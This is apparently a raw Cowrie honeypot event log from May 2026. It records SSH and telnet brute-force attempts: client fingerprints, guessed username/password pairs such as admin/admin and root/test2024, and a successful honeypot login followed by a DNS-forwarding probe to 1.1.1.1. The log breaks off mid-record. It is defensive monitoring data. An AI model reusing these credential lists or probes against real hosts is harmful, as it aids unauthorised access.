{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:34.296094Z","src_ip":"87.251.64.176","session":"ef3c0e6b03d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:34.393160Z","session":"ef3c0e6b03d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:34.491139Z","src_ip":"87.251.64.176","session":"ef3c0e6b03d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:34.725468Z","src_ip":"87.251.64.176","session":"ef3c0e6b03d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121688842773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:36.037427Z","src_ip":"94.253.102.246","session":"dbdc3e8a8611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":22520,"dst_ip":"159.203.135.109","dst_port":22,"session":"8698cf68b314","protocol":"ssh","message":"New connection: 141.11.21.145:22520 (159.203.135.109:22) [session: 8698cf68b314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.115422Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.194366Z","src_ip":"141.11.21.145","session":"8698cf68b314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":22524,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d53424df479","protocol":"ssh","message":"New connection: 141.11.21.145:22524 (159.203.135.109:22) [session: 2d53424df479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.268261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.272827Z","src_ip":"141.11.21.145","session":"2d53424df479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.350390Z","src_ip":"141.11.21.145","session":"2d53424df479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yjq","password":"123456","message":"login attempt [yjq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:37.583551Z","src_ip":"141.11.21.145","session":"2d53424df479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:52:38.662086Z","src_ip":"141.11.21.145","session":"2d53424df479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38096,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a0d73fb1b6","protocol":"ssh","message":"New connection: 159.203.92.129:38096 (159.203.135.109:22) [session: e8a0d73fb1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:00.369352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:00.376793Z","src_ip":"159.203.92.129","session":"e8a0d73fb1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:00.394997Z","src_ip":"159.203.92.129","session":"e8a0d73fb1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzheng","password":"123456","message":"login attempt [anzheng/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:00.423225Z","src_ip":"159.203.92.129","session":"e8a0d73fb1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:01.429409Z","src_ip":"159.203.92.129","session":"e8a0d73fb1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41037,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a876a6eb0d","protocol":"ssh","message":"New connection: 2.57.121.25:41037 (10.17.0.5:22) [session: f3a876a6eb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:18.473897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:18.478184Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:18.577010Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crowley","message":"login attempt [user/crowley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:19.050332Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crowbar","message":"login attempt [user/crowbar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:20.151681Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crocodil","message":"login attempt [user/crocodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:21.253352Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"creatine","message":"login attempt [user/creatine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:22.355556Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crayon","message":"login attempt [user/crayon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:23.459354Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:24.561520Z","src_ip":"2.57.121.25","session":"f3a876a6eb0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33382,"dst_ip":"159.203.135.109","dst_port":22,"session":"52231a5a5c27","protocol":"ssh","message":"New connection: 159.203.92.129:33382 (159.203.135.109:22) [session: 52231a5a5c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:42.863309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:42.868123Z","src_ip":"159.203.92.129","session":"52231a5a5c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:42.887049Z","src_ip":"159.203.92.129","session":"52231a5a5c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzheng","password":"anzheng","message":"login attempt [anzheng/anzheng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:42.899029Z","src_ip":"159.203.92.129","session":"52231a5a5c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:43.904570Z","src_ip":"159.203.92.129","session":"52231a5a5c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":37878,"dst_ip":"10.17.0.5","dst_port":22,"session":"96f61cc66616","protocol":"ssh","message":"New connection: 210.79.142.221:37878 (10.17.0.5:22) [session: 96f61cc66616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:50.526677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:50.530599Z","src_ip":"210.79.142.221","session":"96f61cc66616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:50.774313Z","src_ip":"210.79.142.221","session":"96f61cc66616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2024","message":"login attempt [root/test2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:51.780851Z","src_ip":"210.79.142.221","session":"96f61cc66616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":41641,"dst_ip":"159.203.135.109","dst_port":22,"session":"7097598a83e2","protocol":"ssh","message":"New connection: 213.209.159.159:41641 (159.203.135.109:22) [session: 7097598a83e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:52.381562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:52.385411Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:52.469170Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae","message":"login attempt [devontae/devontae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:52.871828Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:53.026999Z","src_ip":"210.79.142.221","session":"96f61cc66616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae1","message":"login attempt [devontae/devontae1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:53.956521Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae123","message":"login attempt [devontae/devontae123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:55.041367Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae1234","message":"login attempt [devontae/devontae1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:56.126628Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae12345","message":"login attempt [devontae/devontae12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:57.211133Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:53:58.295593Z","src_ip":"213.209.159.159","session":"7097598a83e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34442,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ae077d5eff","protocol":"ssh","message":"New connection: 159.203.92.129:34442 (159.203.135.109:22) [session: 87ae077d5eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:54:25.604468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:54:25.610773Z","src_ip":"159.203.92.129","session":"87ae077d5eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","ae